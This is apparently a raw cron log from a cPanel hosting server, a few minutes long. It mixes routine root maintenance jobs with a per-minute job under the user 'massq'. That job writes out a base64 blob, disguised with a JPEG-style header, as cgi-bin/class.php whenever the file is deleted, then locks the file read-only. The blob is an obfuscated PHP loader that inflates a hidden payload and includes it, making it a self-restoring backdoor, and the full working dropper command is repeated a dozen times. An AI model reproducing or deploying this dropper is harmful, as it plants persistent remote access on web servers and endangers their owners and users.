Sep  4 01:29:01 server CROND[28938]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:29:01 server CROND[28939]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:29:01 server CROND[28940]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 01:30:01 server CROND[29322]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 01:30:01 server CROND[29324]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:30:01 server CROND[29328]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 01:30:01 server CROND[29327]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:30:01 server CROND[29329]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 01:30:01 server CROND[29331]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 01:30:01 server CROND[29330]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 01:30:01 server CROND[29326]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 01:31:01 server CROND[30216]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:31:01 server CROND[30218]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:31:01 server CROND[30219]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 01:32:02 server CROND[30626]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:32:02 server CROND[30627]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 01:32:02 server CROND[30629]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:33:01 server CROND[31000]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:33:01 server CROND[31001]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:33:01 server CROND[31002]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 01:34:01 server CROND[31429]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 01:34:01 server CROND[31430]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:34:01 server CROND[31431]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:35:01 server CROND[31820]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  4 01:35:01 server CROND[31823]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 01:35:01 server CROND[31825]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:35:01 server CROND[31828]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 01:35:01 server CROND[31832]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 01:35:01 server CROND[31829]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 01:35:01 server CROND[31831]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 01:35:01 server CROND[31827]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 01:35:01 server CROND[31830]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:36:01 server CROND[32697]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:36:01 server CROND[32698]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:36:01 server CROND[32699]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 01:37:01 server CROND[694]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:37:01 server CROND[696]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 01:37:01 server CROND[695]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:38:01 server CROND[1142]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:38:01 server CROND[1144]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:38:01 server CROND[1143]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 01:39:01 server CROND[1555]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 01:39:01 server CROND[1556]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 01:39:01 server CROND[1558]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:39:01 server CROND[1557]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:40:01 server CROND[1954]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:40:01 server CROND[1960]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 01:40:01 server CROND[1958]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 01:40:01 server CROND[1957]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 01:40:01 server CROND[1955]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
